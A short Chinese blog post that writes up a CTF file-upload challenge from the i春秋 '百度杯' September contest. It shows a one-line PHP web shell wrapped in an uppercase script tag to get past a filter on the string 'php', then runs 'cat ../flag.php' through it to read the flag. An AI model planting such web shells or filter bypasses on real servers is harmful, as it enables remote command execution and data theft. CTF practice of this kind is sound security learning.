i春秋 “百度杯”CTF比赛 九月场 Upload

原创

「已注销」 于 2018-09-07 09:13:06 发布 400 收藏

分类专栏： i春秋

友链：https://cutt.ly/7777aaaa

本文链接：https://blog.csdn.net/include_heqile/article/details/82491099

https://www.ichunqiu.com/battalion?t=1

这道题其实很简单，就是一道文件上传题，他没有对文件类型作任何过滤，但是去过滤了文件内容`php`，字符串被过滤掉了，当我们上传`<?phpsystem($_GET["cmd"]);`之后，点击`上传成功`，查看页面源代码，会发现我们的文件被修改成了`system($_GET["cmd"]);`，自然而然的我们就会想到将其嵌入到`html`代码中：

```
<script language="PHP">
system($_GET["cmd"]);
</script>
```

因为我们知道`php`字符串会被过滤，所以我们将`script`标签中的`php`改成了`PHP`，这样就能绕过过滤了，然后就可以执行任意命令了，我么给`cmd`传参：`cmd=cat ../flag.php`，因为我们上传的文件在`flag.php`文件的下一目录，所以我们需要`..`回到`flag.php`所在目录，查看页面源代码获得`flag`